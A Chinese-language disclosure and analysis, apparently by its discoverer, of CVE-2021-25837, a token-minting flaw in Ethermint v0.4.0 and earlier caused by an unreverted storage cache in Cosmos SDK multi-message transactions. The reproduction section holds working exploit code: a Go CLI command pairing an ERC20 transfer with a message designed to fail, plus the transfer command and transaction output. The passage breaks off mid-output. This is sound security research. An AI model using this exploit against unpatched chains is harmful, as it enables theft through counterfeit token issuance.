解析我挖到的Ethermint链任意代币增发0day

Ethermint 是 Cosmos 生态下的公链项目(Evmos 前身),它是基于 Cosmos SDK 实现的一个 EVM 兼容链。

2021 年初我在该项目中发现了一个可造成任意代币增发的严重漏洞(CVE-2021-25837),其存在于 <=v0.4.1 的所有版本,下文是对该漏洞的背景介绍与分析复现。

分析的目标代码使用了挖到漏洞时的 ethermint0.4.0 版本,以及 ethermint0.4.0 版本所使用的 Cosmos SDK 0.39.2 与 go-ethereum 1.9.25:

Cosmos SDK概述

在分析该漏洞前我们先对 Ethermint 使用的 Cosmos SDK 进行简单的介绍,Cosmos SDK 是在 Tendermint 共识引擎的基础上实现的的区块链开发框架,它允许通过开发模块的方式构建出特定应用的区块链。

那么 Cosmos SDK 是如何实现简化区块链开发的呢?
首先区块链大概可以分为以下三个概念层:

  • 共识层:使多个机器(节点)之间对当前状态达成一致。
  • 网络层:负责交易和共识相关消息的传播。
  • 应用层:负责更新给定的一组交易,即处理交易的状态转换。

在之前开发一个区块链需要从头开始构建所有的三层这使得开发难度极大,因此2014年 Jae Kwon 创建了 Tendermint 来解决这个问题,Tendermint 是一个与应用程序无关的引擎,负责处理区块链的网络和共识层,使得开发者专注于应用程序开发,而不是复杂的底层协议。

Tendermint 通过在应用程序流程和共识流程之间提供了一个简单的 API(即 ABCI )来分解区块链设计,任何基于 Tendermint 构建的应用程序都需要实现 ABCI 接口以便与 Tendermint 引擎进行通信。

              +---------------------+
              |                     |
              |     Application     |
              |                     |
              +--------+---+--------+
                       ^   |
                       |   | ABCI
                       |   v
              +--------+---+--------+
              |                     |
              |                     |
              |     Tendermint      |
              |                     |
              |                     |
              +---------------------+

ABCI 由多种消息类型组成,它们从 Tendermint 传递到应用程序,应用程序用相应的响应消息进行回复。处理一个区块的流程会用到以下几个 ABCI 消息: CheckTx BeginBlock DeliverTx EndBlock:

  • CheckTX:当 Tendermint 接收到一个交易时,它将被传递给应用程序以对交易进行一些基本验证,然后将其加到内存池中并广播到其他节点。
  • DeliverTx:当 Tendermint 收到一个有效的区块时,区块链中的每笔交易都会随此消息一起发送给应用程序,应用程序会验证此消息然后处理交易并更新应用程序的状态。
  • BeginBlock/EndBlock:这些消息在每个块的开始和结束时执行( DeliverTx 前后),无论该块是否包含交易。

Tendermint 将区块链的开发时间大大缩减,但从头构建一个安全的 ABCI 应用(实现 ABCI 协议)仍然是一项艰巨的任务,因此 Cosmos SDK 项目提供了 ABCI 的实现,进一步方便了区块链的开发。

                ^  +-------------------------------+  ^
                |  |                               |  |   Built with Cosmos SDK
                |  |  State-machine = Application  |  |
                |  |                               |  v
                |  +-------------------------------+
                |  |                               |  ^
Blockchain node |  |           Consensus           |  |
                |  |                               |  |
                |  +-------------------------------+  |   Tendermint Core
                |  |                               |  |
                |  |           Networking          |  |
                |  |                               |  |
                v  +-------------------------------+  v

除 ABCI 实现以外 Cosmos SDK 还提供了模块化能力,Cosmos SDK 开发的区块链是通过多模块聚合来构建的,每个模块都可以看作为一个小型状态机,开发者需要定义模块的状态存储子集,以及定义每个模块自己 msg 类型、msg handler,Cosmos SDK 会负责将 msg 路由到其各自的模块,因此开发者只需要将自己所开发的链的业务逻辑实现成模块就可以方便的实现链开发。

本节我们简单概述了 Cosmos SDK 提供的能力,包括 ABCI 接口、模块化与持久化存储,并基于此窥见 Cosmos SDK 简化链开发的方式,在后面的漏洞分析中我们再来详细分析 Cosmos SDK 交易的执行代码实现。

Ethermint EVM模块

本节中小写 evm 指 Ethermint 的 evm 模块,大写 EVM 指 go-ethereum 的以太坊虚拟机实现。

Cosmos SDK 开发的链的模块一般存放在 x 目录,Ethermint 实现了一个叫 evm 的模块来实现 EVM 的执行,下面让我们详细分析 evm 模块的 msg 类型、msg Handler 与状态存储的实现。

msg 类型的定义在 x/evmtypes/msg.go 文件中,我们可以发现该模块定义了两种类型,分别是 MsgEthermint 与 MsgEthereumTx:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// MsgEthermint implements a cosmos equivalent structure for Ethereum transactions
type MsgEthermint struct {
	AccountNonce uint64          `json:"nonce"`
	Price        sdk.Int         `json:"gasPrice"`
	GasLimit     uint64          `json:"gas"`
	Recipient    *sdk.AccAddress `json:"to" rlp:"nil"` // nil means contract creation
	Amount       sdk.Int         `json:"value"`
	Payload      []byte          `json:"input"`

	// From address (formerly derived from signature)
	From sdk.AccAddress `json:"from"`
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// MsgEthereumTx encapsulates an Ethereum transaction as an SDK message.
type MsgEthereumTx struct {
	Data TxData

	// caches
	size atomic.Value
	from atomic.Value
}

// TxData implements the Ethereum transaction data structure. It is used
// solely as intended in Ethereum abiding by the protocol.
type TxData struct {
	AccountNonce uint64          `json:"nonce"`
	Price        *big.Int        `json:"gasPrice"`
	GasLimit     uint64          `json:"gas"`
	Recipient    *ethcmn.Address `json:"to" rlp:"nil"` // nil means contract creation
	Amount       *big.Int        `json:"value"`
	Payload      []byte          `json:"input"`

	// signature values
	V *big.Int `json:"v"`
	R *big.Int `json:"r"`
	S *big.Int `json:"s"`

	// hash is only used when marshaling to JSON
	Hash *ethcmn.Hash `json:"hash" rlp:"-"`
}

前者将以太坊交易所需字段放入符合 Cosmos SDK msg 的标准结构中,而后者为以太坊的交易原生结构实现了 Cosmos SDK msg 接口,主要用作兼容 Web3 RPC。两者数据结构不同,但其中的数据字段是一样的。

这两种 msg 类型所对应的 handler 可以在 x/evm/handler.go 文件找到,即 handleMsgEthermint 与 handleMsgEthereumTx,同时我们发现两种不同 msg 类型的处理过程殊途同归,都会用 msg 中的数据字段作为参数实例化 StateTransition 对象,然后执行该对象的 TransitionDb 方法。

TransitionDb 方法会新建 EVM 实例,然后根据交易 to 参数是否为 nil (如果一个交易 to 地址为 nil 意味着它是部署合约的交易)来执行 createcall,并最终返回 EVM 的执行结果。

至此我们就分析完了 Ethermint evm 模块的 msg 类型和 msg Handler,在分析状态存储之前我们先简单看一下 EVM 的执行流程。

首先看一下创建 EVM 实例的方法,主要是将传入的参数赋值给 EVM 数据结构并创建了一个 EVM 解释器用来解释执行字节码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// https://github.com/ethereum/go-ethereum/blob/v1.9.25/core/vm/evm.go#L161
// NewEVM returns a new EVM. The returned EVM is not thread safe and should
// only ever be used *once*.
func NewEVM(blockCtx BlockContext, txCtx TxContext, statedb StateDB, chainConfig *params.ChainConfig, vmConfig Config) *EVM {
	evm := &EVM{
		Context:      blockCtx,
		TxContext:    txCtx,
		StateDB:      statedb,
		vmConfig:     vmConfig,
		chainConfig:  chainConfig,
		chainRules:   chainConfig.Rules(blockCtx.BlockNumber),
		interpreters: make([]Interpreter, 0, 1),
	}
  // ...    
	// vmConfig.EVMInterpreter will be used by EVM-C, it won't be checked here
	// as we always want to have the built-in EVM as the failover option.
	evm.interpreters = append(evm.interpreters, NewEVMInterpreter(evm, vmConfig))
	evm.interpreter = evm.interpreters[0]

	return evm
}

接着我们来分析部署合约的入口 https://github.com/ethereum/go-ethereum/blob/v1.9.25/core/vm/evm.go#L436-L514 ,整个合约部署的主要流程如下:

  1. 判断调用深度不超过1024
  2. 判断调用者有足够的 value
  3. 获取并递增调用者的 nonce
  4. 确保预计算的合约地址上没有被部署过合约
  5. 为合约地址创建 account 账户体系
  6. 将创建合约交易的 value 转给该合约地址
  7. 创建 contract 对象并设置其参数,如调用者、合约地址、合约代码、合约 hash 等
  8. 调用解释器来执行 creation code 并返回 runtime code
  9. 扣除存储 runtime code 所需的 gas 并将 runtime code 存到该合约 account 下以供后续调用

合约调用 call 的实现与 create 大同小异,更多细节我们这里不再赘述。

值得注意的是,EVM 执行过程中对状态的查询与更新都依赖于在新建 EVM 实例时传入的 StateDB 接口(这里使用了依赖接口而非实现的设计原则),因此实现该接口是实现移植 EVM 的关键。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// StateDB is an EVM database for full state querying.
type StateDB interface {
	CreateAccount(common.Address)

	SubBalance(common.Address, *big.Int)
	AddBalance(common.Address, *big.Int)
	GetBalance(common.Address) *big.Int

	GetNonce(common.Address) uint64
	SetNonce(common.Address, uint64)

	GetCodeHash(common.Address) common.Hash
	GetCode(common.Address) []byte
	SetCode(common.Address, []byte)
	GetCodeSize(common.Address) int

	AddRefund(uint64)
	SubRefund(uint64)
	GetRefund() uint64

	GetCommittedState(common.Address, common.Hash) common.Hash
	GetState(common.Address, common.Hash) common.Hash
	SetState(common.Address, common.Hash, common.Hash)

	Suicide(common.Address) bool
	HasSuicided(common.Address) bool

	// Exist reports whether the given account exists in state.
	// Notably this should also return true for suicided accounts.
	Exist(common.Address) bool
	// Empty returns whether the given account is empty. Empty
	// is defined according to EIP161 (balance = nonce = code = 0).
	Empty(common.Address) bool

	AddressInAccessList(addr common.Address) bool
	SlotInAccessList(addr common.Address, slot common.Hash) (addressOk bool, slotOk bool)
	// AddAddressToAccessList adds the given address to the access list. This operation is safe to perform
	// even if the feature/fork is not active yet
	AddAddressToAccessList(addr common.Address)
	// AddSlotToAccessList adds the given (address,slot) to the access list. This operation is safe to perform
	// even if the feature/fork is not active yet
	AddSlotToAccessList(addr common.Address, slot common.Hash)

	RevertToSnapshot(int)
	Snapshot() int

	AddLog(*types.Log)
	AddPreimage(common.Hash, []byte)

	ForEachStorage(common.Address, func(common.Hash, common.Hash) bool) error
}

在 go-ethereum 中 StateDB 是基于以太坊状态树创建并传给 EVM 对象的,那在 Ethermint 中该接口是数据实现的呢? 让我们重新回到 Ethermint 的 TransitionDb 方法进行分析:

TransitionDb 方法从 StateTransition 中读取了 CommitStateDB 类型的 st.Csdb 并赋值给 csdb,然后 newEVM 这个方法将 csdb 作为实现 StateDB 接口的对象创建了 EVM 实例。

1
2
3
4
5
csdb := st.Csdb.WithContext(ctx)
// ...
evm := st.newEVM(ctx, csdb, gasLimit, gasPrice.Int, config, params.ExtraEIPs)
// ...
return vm.NewEVM(blockCtx, txCtx, csdb, config.EthereumConfig(st.ChainID), vmConfig)

所有这里我们不难看出 CommitStateDB 就是在 Ethermint 中实现了以太坊 StateDB 接口的类型。

1
2
// https://github.com/cosmos/ethermint/blob/v0.4.0/x/evm/types/statedb.go#L23
_ ethvm.StateDB = (*CommitStateDB)(nil)

下面我们开始对Ethermint evm 模块状态存储进行分析,并阐述 CommitStateDB 是如何在 Cosmos SDK 提供的持久化存储之上实现的。

Cosmos SDK 的持久化存储能力允许开发者在每个模块定义自己的 KVStore 来管理全局状态的子集, KVStore 是一个简单的键值对存储,用于存储和检索数据。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
https://github.com/cosmos/cosmos-sdk/blob/v0.39.2/store/types/store.go#L175-L205
// KVStore is a simple interface to get/set data
type KVStore interface {
	Store

	// Get returns nil iff key doesn't exist. Panics on nil key.
	Get(key []byte) []byte

	// Has checks if a key exists. Panics on nil key.
	Has(key []byte) bool

	// Set sets the key. Panics on nil key or value.
	Set(key, value []byte)

	// Delete deletes the key. Panics on nil key.
	Delete(key []byte)

	// Iterator over a domain of keys in ascending order. End is exclusive.
	// Start must be less than end, or the Iterator is invalid.
	// Iterator must be closed by caller.
	// To iterate over entire domain, use store.Iterator(nil, nil)
	// CONTRACT: No writes may happen within a domain while an iterator exists over it.
	// Exceptionally allowed for cachekv.Store, safe to write in the modules.
	Iterator(start, end []byte) Iterator

	// Iterator over a domain of keys in descending order. End is exclusive.
	// Start must be less than end, or the Iterator is invalid.
	// Iterator must be closed by caller.
	// CONTRACT: No writes may happen within a domain while an iterator exists over it.
	// Exceptionally allowed for cachekv.Store, safe to write in the modules.
	ReverseIterator(start, end []byte) Iterator
}

evm 模块使用了prefix.Store 包装器,它在 KVStore 的基础上提供了为 key 添加前缀的能力来索引不同类型数据的能力, 详情可以参见: https://docs.cosmos.network/v0.39/core/store.html#prefix-store

evm 模块定义了以下7个前缀:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// https://github.com/cosmos/ethermint/blob/v0.4.0/x/evm/types/key.go#L22-L31
// KVStore key prefixes
var (
	KeyPrefixBlockHash   = []byte{0x01}
	KeyPrefixBloom       = []byte{0x02}
	KeyPrefixLogs        = []byte{0x03}
	KeyPrefixCode        = []byte{0x04}
	KeyPrefixStorage     = []byte{0x05}
	KeyPrefixChainConfig = []byte{0x06}
	KeyPrefixHeightHash  = []byte{0x07}
)

这里我们以KeyPrefixHeightHash 为例来展示下 Prefix Store 是如何使用的:

1
2
3
4
5
6
7
// https://github.com/cosmos/ethermint/blob/v0.4.0/x/evm/types/statedb.go#L120-L125
// SetHeightHash sets the block header hash associated with a given height.
func (csdb *CommitStateDB) SetHeightHash(height uint64, hash ethcmn.Hash) {
	store := prefix.NewStore(csdb.ctx.KVStore(csdb.storeKey), KeyPrefixHeightHash)
	key := HeightHashKey(height)
	store.Set(key, hash.Bytes())
}

了解完了 Cosmos SDK 的持久化存储的使用方式我们回过头看 CommitStateDB 是如何实现的。

CommitStateDB 其实是使用 Cosmos SDK 的 KVStore 实现的 StateDB 接口,它用于管理所有账户的状态,CommitStateDB 包含一个叫 stateObjects 的数组,每个元素为单个地址的状态。

因此 CommitStateDB 账户状态管理的函数实现方式为根据账户地址获取其所对应的 stateObject,然后调用 stateObject 中实现的方法进行状态的查询或更新,stateObject 中实现的方法最终会使用Cosmos SDK提供的 KVStore 对状态进行读写。如下面所展示的 GetCode 方法:

1
2
3
4
5
6
7
8
9
// GetCode returns the code for a given account.
func (csdb *CommitStateDB) GetCode(addr ethcmn.Address) []byte {
	so := csdb.getStateObject(addr)
	if so != nil {
		return so.Code(nil)
	}

	return nil
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
// Code returns the contract code associated with this object, if any.
func (so *stateObject) Code(_ ethstate.Database) []byte {
	if len(so.code) > 0 {
		return so.code
	}

	if bytes.Equal(so.CodeHash(), emptyCodeHash) {
		return nil
	}

	ctx := so.stateDB.ctx
	store := prefix.NewStore(ctx.KVStore(so.stateDB.storeKey), KeyPrefixCode)
	code := store.Get(so.CodeHash())

	if len(code) == 0 {
		so.setError(fmt.Errorf("failed to get code hash %x for address %s", so.CodeHash(), so.Address().String()))
	}

	return code
}

到这里我们也就分析完了 Ethermint 的 evm 模块是如何通过定义msg 类型、msg Handler 与状态存储将 EVM 移植到 Cosmos SDK 的,即:

  1. 该模块定义的包含以太坊交易字段的 msg 会被路由到该模块的 handler 进行处理
  2. handler 将 msg 封装成 StateTransition 对象,然后执行该对象的 TransitionDb 方法
  3. TransitionDb 使用 KVStore 实现的 CommitStateDB 作为 EVM 所需的 StateDB 接口来实例化 EVM 对象并执行 EVM 方法
  4. 在执行中 CommitStateDB 的状态将会被改变并最终被写入 Cosmos SDK 提供的持久化存储中

漏洞详情

下面终于进入对漏洞的分析的正片环节了。

我们发现 stateObject 中维护了两个与 Storage 相关的变量,分别为 originStorage 和 dirtyStorage。

我们尝试理清这两个缓存的生命周期:
sload opcode 会调用 StateDB 接口的 GetState 方法读 Storage 的 slot,该方法在 CommitStateDB 的实现是先尝试从 dirtyStorage 缓存中读取,如果缓存不命中再从 originStorage 读取,如果依然不命中则从 KVStore 读取并同步到 originStorage。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// GetState retrieves a value from the account storage trie. Note, the key will
// be prefixed with the address of the state object.
func (so *stateObject) GetState(db ethstate.Database, key ethcmn.Hash) ethcmn.Hash {
	prefixKey := so.GetStorageByAddressKey(key.Bytes())

	// if we have a dirty value for this state entry, return it
	idx, dirty := so.keyToDirtyStorageIndex[prefixKey]
	if dirty {
		return so.dirtyStorage[idx].Value
	}

	// otherwise return the entry's original value
	value := so.GetCommittedState(db, key)
	return value
}

// GetCommittedState retrieves a value from the committed account storage trie.
//
// NOTE: the key will be prefixed with the address of the state object.
func (so *stateObject) GetCommittedState(_ ethstate.Database, key ethcmn.Hash) ethcmn.Hash {
	prefixKey := so.GetStorageByAddressKey(key.Bytes())

	// if we have the original value cached, return that
	idx, cached := so.keyToOriginStorageIndex[prefixKey]
	if cached {
		return so.originStorage[idx].Value
	}

	// otherwise load the value from the KVStore
	state := NewState(prefixKey, ethcmn.Hash{})

	ctx := so.stateDB.ctx
	store := prefix.NewStore(ctx.KVStore(so.stateDB.storeKey), AddressStoragePrefix(so.Address()))
	rawValue := store.Get(prefixKey.Bytes())

	if len(rawValue) > 0 {
		state.Value.SetBytes(rawValue)
	}

	so.originStorage = append(so.originStorage, state)
	so.keyToOriginStorageIndex[prefixKey] = len(so.originStorage) - 1
	return state.Value
}

sstore 会调用 SetState 写 Storage 的 slot,SetState 方法修改的是 dirtyStorage 缓存,所以 dirtyStorage 记录了交易执行中对 EVM Storage 的更改。 https://github.com/cosmos/ethermint/blob/v0.4.0/x/evm/types/state_object.go#L110-L143

这表明 Ethermint 的 TransitionDb 在调用 EVM 执行中对 Storage 的读写操作实际发生在 originStorage 与 dirtyStorage 这两个内存缓存上而非 KVStore。

那么修改后 dirtyStorage 会在何时提交到 KVStore 中呢?经过审计我们可以看到在 TransitionDb 在 EVM 执行成功后会调用 Finalise 方法,继而调用 stateEntry.stateObject.commitState() 将 EVM Storage 的更改 dirtyStorage 进一步写入 KVStore 与 originStorage,然后 dirtyStorage 被清空。 https://github.com/cosmos/ethermint/blob/v0.4.0/x/evm/types/state_object.go#L273-L277

因此 originStorage 设计是与 KVStore 保持同步并被优先使用以减少对 KVStore 的读操作,它会在 EndBlock 阶段被清理重置。
https://github.com/cosmos/ethermint/blob/v0.4.0/x/evm/keeper/abci.go#L54

我们对上述审计结果做个总结,即一个合约账户的 Storage 状态会在当前区块中该合约初次被调用时从 KVStore 读入 CommitStateDB 实例的 originStorage 内存缓存中,后续 sload 调用 GetState 取到的是 originStorage 缓存的数据。dirtyStorage 缓存的生命周期是一个交易(交易执行后清空),originStorage 缓存生命周期是一个区块而非交易,且该缓存无回退机制。

到这漏洞疑点就开始浮出水面了,originStorage 内存缓存的生命周期交易的处理周期不一致,它是以区块为周期而非交易,根据常识区块链系统在交易失败后会回退这条交易造成的状态改变,因此猜测交易失败后 KVStore 会回退但被修改的 originStorage 内存缓存会被保留,由于 originStorage 会被优先使用,从而可以在 EndBlock 阶段前的其他交易中实现非预期的数据读取。

那利用卡点就在于怎样才能使 EVM 执行成功且设置完 originStorage 后交易失败从而使 KVStore 回退呢?以及Cosmos SDK 是怎样回退失败交易造成的状态改变的呢?

带着这些问题我们开始分析 Cosmos SDK 交易执行的具体代码实现以补全我们的知识拼图。 Cosmos SDK 的交易数据结构是如下形式,值得注意的是每个交易可以包含了多个 msg。

1
2
3
4
5
6
7
8
9
// https://github.com/cosmos/cosmos-sdk/blob/v0.39.2/x/auth/types/stdtx.go#L23-L30
// StdTx is a standard way to wrap a Msg with Fee and Signatures.
// NOTE: the first signature is the fee payer (Signatures must not be nil).
type StdTx struct {
	Msgs       []sdk.Msg      `json:"msg" yaml:"msg"`
	Fee        StdFee         `json:"fee" yaml:"fee"`
	Signatures []StdSignature `json:"signatures" yaml:"signatures"`
	Memo       string         `json:"memo" yaml:"memo"`
}

baseapp/abci.go 的 DeliverTx 方法实现了同名的 ABCI 方法,该方法会将 Tendermint 发来的交易byte进行解码(tx, err := app.txDecoder(req.Tx)),然后使用runTx(...)方法来执行交易,当一个交易被提交执行时,其中的所有 msg 都会被取出(msgs := tx.GetMsgs()),然后进行一些基本的检查(validateBasicTxMsgs(msgs)),检查通过后这些 msg 就真正开始执行了 (runMsgs(...))。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
func (app *BaseApp) runTx(mode runTxMode, txBytes []byte, tx sdk.Tx) (gInfo sdk.GasInfo, result *sdk.Result, err error) {
    // ...
    msgs := tx.GetMsgs()
    if err := validateBasicTxMsgs(msgs); err != nil {
        return sdk.GasInfo{}, nil, err
    }
    // ...
    runMsgCtx, msCache := app.cacheTxContext(ctx, txBytes)
    
    result, err = app.runMsgs(runMsgCtx, msgs, mode)
    if err == nil && mode == runTxModeDeliver {
        msCache.Write()
    }
    // ...
}

runMsgs 方法会遍历 msg 列表并将每条 msg 路由至对应的模块进行处理,在 msg 处理过程中如果遇到任何一条 msg 执行失败或是找不到 msg 对应的 handler 则将返回错误到上层的 runTx 方法而不再继续执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func (app *BaseApp) runMsgs(ctx sdk.Context, msgs []sdk.Msg, mode runTxMode) (*sdk.Result, error) {
	msgLogs := make(sdk.ABCIMessageLogs, 0, len(msgs))
	data := make([]byte, 0, len(msgs))
	events := sdk.EmptyEvents()

	// NOTE: GasWanted is determined by the AnteHandler and GasUsed by the GasMeter.
	for i, msg := range msgs {
		// skip actual execution for (Re)CheckTx mode
		if mode == runTxModeCheck || mode == runTxModeReCheck {
			break
		}

		msgRoute := msg.Route()
		handler := app.router.Route(ctx, msgRoute)
		if handler == nil {
			return nil, sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, "unrecognized message route: %s; message index: %d", msgRoute, i)
		}

		msgResult, err := handler(ctx, msg)
		if err != nil {
			return nil, sdkerrors.Wrapf(err, "failed to execute message; message index: %d", i)
		}
		// ...
	}

	return &sdk.Result{
		Data:   data,
		Log:    strings.TrimSpace(msgLogs.String()),
		Events: events,
	}, nil
}

因此只有当所有的 msg 都被成功执行,runTx 方法才会执行 msCache.Write() 来提交状态变更,在之前我们提到 Cosmos SDK 的持久化存储能力是通过 KVStore 对外提供的,那这里的 msCache 又是什么呢?要解决这个问题我们需要简单了解下 Cosmos SDK 的多层存储机制。

1
2
3
4
5
6
7
8
type BaseApp struct {
	// ... 
	cms         sdk.CommitMultiStore // Main (uncached) state
	// ...
	checkState   *state // for CheckTx
	deliverState *state // for DeliverTx
	// ... 
}

Cosmos SDK 中维护了三个关于状态存储的变量,cms、checkState 和 deliverState。cms 是应用程序的主状态,它保存着每个区块结束后提交的状态,而 checkState 和 deliverState 是基于主状态生成的缓存。checkState 用于 CheckTx 中的相关数据校验,deliverState 用于 DeliverTx 中的交易执行。

DeliverTx 在执行 runTx 时会基于 deliverState 再包装一层缓存,这个缓存就是我们刚提到的 msCache,msg 处理过程中对 KVStore 进行的读写实际是发生在 msCache 上的。只有当该交易中的所有 msg 都被成功处理时, 对 msCache 的修改才会通过 msCache.Write() 方法写入 deliverState,在 Commit 阶段将 deliverState 中发生的状态更改最终会被写入主状态 cms。

详情可以参见: https://docs.cosmos.network/v0.39/core/baseapp.html#state-updates

理解了 Cosmos SDK 交易的执行逻辑,漏洞利用思路就开始清晰的呈现在我们眼前了:

Cosmos SDK 的交易是支持多 msg 的,在交易处理中一条 msg 处理失败会使整个交易被视为失败,对KVStore (即msCache)的修改也会被丢弃。因此我们可以通过构造多 msg 交易使 EVM 执行成功但交易失败,这时对 Storage 内存缓存的污染将会被保留至 Endblock。

具体来说是构造一笔包含两个 msg 的交易, msg1 正常执行合约调用而 msg2 注定执行失败,交易被执行后,msg1 会更新内存中 originStorage 以及 msCache 的数据,但由于 msg2 的失败导致 msCache 中的修改不会被写回 deliverState,而内存中 originStorage 的修改却被保留了下来。

现在我们可以实现对 originStorage 缓存(以下简称 Storage 缓存)的污染了,但如何实现获利呢?我们知道 ERC20 代币的余额正是在合约的 Storage 中存储的,且每个地址的余额占用一个 slot,那么我们可以通过上述漏洞实现代币的任意增发,具体利用方式如下。

  1. 假设有一个 ERC20 合约,且攻击者控制 A、B、C 三个账户。初始状态下这三个账户余额分别为 1ERC、0ERC、0ERC:

    A B C
    Storage cache 1 0 0
    deliverState 1 0 0
  2. 攻击者构建并发送一个包含两个 msg 的交易,msg1 中A调用合约向B转 1ERC,msg2 则是一个注定失败的 msg。

    A B C
    Storage cache 0 1 0
    deliverState 1 0 0
  3. 接下来攻击者发送一笔正常的交易,即B调用合约向C转1ERC,并保证与之前的多 msg 交易在同一个区块执行,因此该交易执行时会读到被多 msg 交易污染的 Storage 缓存并最终执行成功,这时 deliverState 凭空多出了1ERC。

    A B C
    Storage cache 0 0 1
    deliverState 1 0 1
  4. 在该区块结束后 deliverState 中的状态改变会被提交到 Cosmos SDK 的主状态,最终造成了任意代币增发。

漏洞复现

下面我们以v0.4.0版本为例,对该漏洞进行复现。

环境搭建

  1. 启动节点
1
2
3
4
5
git clone https://github.com/cosmos/ethermint.git
cd ethermint
git checkout v0.4.0
bash init.sh
ethermintcli rest-server --laddr "tcp://localhost:8545" --unlock-key mykey --chain-id ethermint-1 --trace
  1. 配置 MetaMask
  • 将搭建的Ethermint测试网添加到MateMask

  • 使用 ethermintcli keys unsafe-export-eth-key mykey 导出私钥,并将其导入 MateMask image.png

  • 返回 MateMask 主界面检查余额 image.png

漏洞利用

  1. 部署一个标准 ERC20 合约 image.png

该ERC20合约地址为0x829eb75adD23a77bae6c74A5f71D751feCd0c3e7 同时我们拥有以下三个账户,A为合约部署者,初始情况下A有 1ERC,B C 均无 ERC
A: 0xF888BFEc92794988d535B39AAa1d022eEEF31369 1ERC
B: 0x829d057a1070a1073faBF24D4F5faE343273a93e 0ERC
C: 0xfb38Cc3A580c4FD35BE4758725Fc4cF5CB3dA241 0ERC

  1. 编写发送恶意合约调用交易 Cli,在调用合约交易后跟上一条注定失败的 msg
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
func GetCmdCallContract(cdc *codec.Codec) *cobra.Command {
	return &cobra.Command{
		Use:   "call [contract] [input]",
		Short: "Call Contract",
		Args:  cobra.ExactArgs(2),
		RunE: func(cmd *cobra.Command, args []string) error {
			cliCtx := context.NewCLIContext().WithCodec(cdc)
			inBuf := bufio.NewReader(cmd.InOrStdin())
			txBldr := auth.NewTxBuilderFromCLI(inBuf).WithTxEncoder(utils.GetTxEncoder(cdc))
			from := cliCtx.GetFromAddress()
			var toAddr sdk.AccAddress
			toAddr = common.HexToAddress(args[0]).Bytes()

			accRet := authtypes.NewAccountRetriever(cliCtx)
			if err := accRet.EnsureExists(from); err != nil {
				return err
			}

			_, nonce, err := accRet.GetAccountNumberSequence(from)
			if err != nil {
				return err
			}

			data, err := hexutil.Decode(args[1])
			if err != nil {
				return err
			}

			msg := types.NewMsgEthermint(nonce, &toAddr, sdk.NewIntFromUint64(0), ethermint.DefaultRPCGasLimit, sdk.NewIntFromUint64(ethermint.DefaultGasPrice), data, from)
			err = msg.ValidateBasic()
			if err != nil {
				return err
			}
			errMSg := bank.NewMsgSend(from, from, sdk.NewCoins(sdk.NewCoin("none", sdk.NewInt(1)))) // 注定失败的msg
			return utils.GenerateOrBroadcastMsgs(cliCtx, txBldr, []sdk.Msg{msg, errMSg})
		},
	}
}
  1. 使用我们编写的 Cli 工具与 MetaMask 分别发送一笔交易,并保证以下两个交易在一个区块中依次执行
  • 使用 CLI 将A拥有的 1ERC 转给B
1
ethermintcli tx evm call 0x829eb75adD23a77bae6c74A5f71D751feCd0c3e7 0xa9059cbb000000000000000000000000829d057a1070a1073fabf24d4f5fae343273a93e0000000000000000000000000000000000000000000000000de0b6b3a7640000 --from mykey
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
ethermintcli query tx 90EE90BD87114AA0E353765405D25C7FCD1D6C25F065A1F9449D39C4CFED2DDA
{
  "height": "4820",
  "txhash": "90EE90BD87114AA0E353765405D25C7FCD1D6C25F065A1F9449D39C4CFED2DDA",
  "codespace": "sdk",
  "code": 5,
  "raw_log": "insufficient funds: insufficient account funds; 97246321167999999980aphoton \u003c 1none: failed to execute message; message index: 1",
  "gas_wanted": "200000",
  "gas_used": "102140",
  "tx": {
    "type": "cosmos-sdk/StdTx",
    "value": {
      "msg": [
        {
          "type": "ethermint/MsgEthermint",
          "value": {
            "nonce": "62",
            "gasPrice": "20",
            "gas": "10000000",
            "to": "eth1s20twkkaywnhhtnvwjjlw8t4rlkdpsl8ml7fyp",
            "value": "0",
            "input": "qQWcuwAAAAAAAAAAAAAAAIKdBXoQcKEHP6vyTU9frjQyc6k+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADeC2s6dkAAA=",
            "from": "eth1lzytlmyj09yc34f4kwd258gz9mh0xymf7xwelt"
          }
        },
        {
          "type": "cosmos-sdk/MsgSend",
          "value": {
            "from_address": "eth1lzytlmyj09yc34f4kwd258gz9mh0xymf7xwelt",
            "to_address": "eth1lzytlmyj09yc34f4kwd258gz9mh0xymf7xwelt",
            "amount": [
              {
                "denom": "none",
                "amount": "1"
              }
            ]
          }
        }
      ],
      "fee": {
        "amount": [],
        "gas": "200000"
      },
      "signatures": [
        {
          "pub_key": {
            "type": "ethermint/PubKeyEthSecp256k1",
            "value": "A3Eo9z/jAKBJ33L2Czt9O0N/2ejM47EwEo1xgLEd2ARi"
          },
          "signature": "hqYzDa65iVTjAHkV9DiMTrGueU1VN3Bc4rLvRab5ttQrLvwT0hPChtj1RivVEhdU4cuTaOAJ2hF6go0pvABJyQA="
        }
      ],
      "memo": ""
